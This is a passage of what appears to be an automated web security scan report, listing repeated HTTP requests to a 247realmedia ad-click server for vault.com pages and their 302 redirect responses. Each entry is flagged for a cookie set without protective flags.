HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:20 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/1981525601/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:50 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/393766051/Middle2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:58 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/47984070/Middle2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:44 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/740464964/Middle1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:13 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/846056433/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:10 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1028530683/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:30 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1298248331/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:12 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1434550647/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:20 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1539380947/Bottom/Vault20/Orrick_V_GrowWithO_082010/16018_vault_728x90_v3.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:00 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.orrick.com/careers/students/index.asp Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.orrick.com/careers/students/index.as ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/2006356102/Bottom/Vault20/Freshfields_V_Succeed_082410/Freshfields_CI_Succeed_082410_728x90T10927114.html/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:28 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.freshfields.com/usrecruiting Content-Length: 315 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.freshfields.com/usrecruiting">here</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/2130056760/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:04 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/363266666/Bottom/Vault20/Orrick_V_GrowWithO_082010/16018_vault_728x90_v3.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:18 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.orrick.com/careers/students/index.asp Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.orrick.com/careers/students/index.as ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/849894637/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:31 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/917548902/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:24 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/1384392152/Bottom/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:28 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/1491672067/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:48 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/579703156/Middle1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:35 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/811320592/Middle2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:37 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/906495160/Top/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:45 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/L9/998343728/Middle/Vault20/Verizon_V_CampusTour_102710/Verizon_V_CampusTour_102710_300x250M.html/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:33 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/1647341012/Middle2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:13 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/2010963725/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:23 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/233716947/Middle1/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:12:11 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
